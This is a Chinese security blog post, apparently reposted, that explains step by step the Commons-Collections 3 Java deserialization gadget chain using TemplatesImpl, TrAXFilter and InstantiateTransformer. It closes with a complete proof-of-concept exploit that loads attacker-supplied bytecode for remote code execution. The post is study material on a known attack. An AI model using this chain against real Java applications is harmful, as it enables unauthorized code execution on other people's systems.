Java安全小记-Commons-Collections3反序列化

admin 2025年1月9日15:26:19评论6 views字数 6824阅读22分44秒阅读模式

java cc3链 cc3用的是动态加载字节码的形式进行的rce可以参考自己记得动态加载字节码的笔记来了解。

该链主要是利用了TemplatesImpl这个类进行字节码加载。通过笔记我们了解到java加载.class的核心代码就是defineclass方法,而通过调试发现TemplatesImpl这个类中定义了一个内部类重写了defineclass方法并且这里没有显式地声明其定义域。Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。Java安全小记-Commons-Collections3反序列化

但是我们需要找到一个该类一个public类型来进行调用该方法

Java安全小记-Commons-Collections3反序列化我们反向跟踪在defineTransletClasses中调用了该方法,需要_bytecodes不为空,其实这个属性就是我们要传入的字节码但是还不能调用需要继续跟

Java安全小记-Commons-Collections3反序列化

找到了getTransletInstance方法并且其属性_name不能为空 _class需要为空才可以调用,但是还是不能在外部调用需要继续跟

Java安全小记-Commons-Collections3反序列化

最终找到了newTransformer方法是public类型的,所以我们可以通过实例化TemplatesImpl对象调用newTransformer方法来触发defineclass加载字节码。

接下来我们需要看一下TemplatesImpl构造方法

Java安全小记-Commons-Collections3反序列化

发现并没用进行任何赋值所以我们需要自己手动进行反射赋值

byte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class"));        TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象        Class clazz = templates.getClass();// 下面是需要修改的一些变量        Field nameField = clazz.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templates, "_name");        Field bytecodesField = clazz.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        bytecodesField.set(templates, newbyte[][]{shellcode});// 触发方法        templates.newTransformer();

运行发现空指针错误,通过调试发现

Java安全小记-Commons-Collections3反序列化

_tfactory为空所以我们需要给其传入值,

Java安全小记-Commons-Collections3反序列化

通过查看发现其是transient类型是不可序列化的,所以我们通过产看readObject中看看是给其赋值的什么就给他赋值什么就可以

Java安全小记-Commons-Collections3反序列化

所以重新构造

bbyte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class"));        TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象        Class clazz = templates.getClass();// 下面是需要修改的一些变量        Field nameField = clazz.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templates, "_name");        Field classField = clazz.getDeclaredField("_tfactory");        classField.setAccessible(true);        classField.set(templates, new TransformerFactoryImpl());        Field bytecodesField = clazz.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        bytecodesField.set(templates, newbyte[][]{shellcode});// 触发方法        templates.newTransformer();

但是运行之后发现还是报错

Java安全小记-Commons-Collections3反序列化

原因是在加载字节码之后有一个方法查看字节码的父类是否是Java安全小记-Commons-Collections3反序列化

所以我们需要让我们的恶意类继承该类之后就可以运行了。

然后我们和之前的cc1链前面结合一下就可以成为一个链了

byte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class"));        TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象        Class clazz = templates.getClass();// 下面是需要修改的一些变量        Field nameField = clazz.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templates, "_name");        Field classField = clazz.getDeclaredField("_tfactory");        classField.setAccessible(true);        classField.set(templates, new TransformerFactoryImpl());        Field bytecodesField = clazz.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        bytecodesField.set(templates, newbyte[][]{shellcode});// 触发方法        Transformer[] transformers = new Transformer[] {new ConstantTransformer(templates),new InvokerTransformer("newTransformer"null,null)        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//chainedTransformer.transform(1);        HashMap<Object,Object> map=new HashMap<>();        map.put("className","aass"); //给map一个键值对,方便遍历//构造transformedmap是调用tranform()的前置条件        Map<Object, Object> transformedMap = TransformedMap.decorate(                map, null, chainedTransformer);// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor constructor = c.getDeclaredConstructor(Class.classMap.class);        constructor.setAccessible(true);        Object o = constructor.newInstance(FaultAction.classtransformedMap);//serialize(o);        unserialize("ser.bin");

但是我们通过查看ysoserial作者发现其构造的链跟我们不一样,他没有用这个InvokerTransformer去触发,原因就是因为可能有些waf会对InvokerTransformer做了黑名单限制导致不能够使用了。

所以ysoserial作者发现了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。 这个类的构造⽅法中调⽤了 (TransformerImpl) templates.newTransformer() ,免去了我们使⽤ InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步:

Java安全小记-Commons-Collections3反序列化

但是呢由于该类是不可以被序列化的,所以我们只能通过对其反射获取class对象对其进行赋值,这里作者ysoserial找到一个InstantiateTransformer类他实现了transformer Serializable接口,在它的transform()方法中,判断了input参数是否为Class,若是Class,则通过反射实例化一个对象并返回;

Java安全小记-Commons-Collections3反序列化

所以这里我们可以通过调用InstantiateTransformer的transform方法来触发

byte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class"));        TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象        Class clazz = templates.getClass();// 下面是需要修改的一些变量        Field nameField = clazz.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templates, "_name");        Field classField = clazz.getDeclaredField("_tfactory");        classField.setAccessible(true);        classField.set(templates, new TransformerFactoryImpl());        Field bytecodesField = clazz.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        bytecodesField.set(templates, newbyte[][]{shellcode});InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, newObject[]{templates});instantiateTransformer.transform(TrAXFilter.class);

完整poc

byte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class"));        TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象        Class clazz = templates.getClass();// 下面是需要修改的一些变量        Field nameField = clazz.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templates, "_name");        Field classField = clazz.getDeclaredField("_tfactory");        classField.setAccessible(true);        classField.set(templates, new TransformerFactoryImpl());        Field bytecodesField = clazz.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        bytecodesField.set(templates, newbyte[][]{shellcode});// 触发方法        Transformer[] transformers = new Transformer[] {new ConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass [] {Templates.class},newObject [] {templates})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//chainedTransformer.transform(1);/*InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});        instantiateTransformer.transform(TrAXFilter.class);*/        HashMap<Object,Object> map=new HashMap<>();        map.put("className","aass"); //给map一个键值对,方便遍历//构造transformedmap是调用tranform()的前置条件        Map<Object, Object> transformedMap = TransformedMap.decorate(                map, null, chainedTransformer);// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor constructor = c.getDeclaredConstructor(Class.classMap.class);        constructor.setAccessible(true);        Object o = constructor.newInstance(FaultAction.classtransformedMap);//serialize(o);        unserialize("ser.bin");    }

参考:Java安全漫谈 - 14.为什么需要CommonsCollections3.pdf

https://blog.csdn.net/weixin_54648419/article/details/123376523

cc3调用链

Java安全小记-Commons-Collections3反序列化

原文始发于微信公众号(土拨鼠的安全屋):Java安全小记-Commons-Collections3反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日15:26:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全小记-Commons-Collections3反序列化https://cn-sec.com/archives/3606008.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息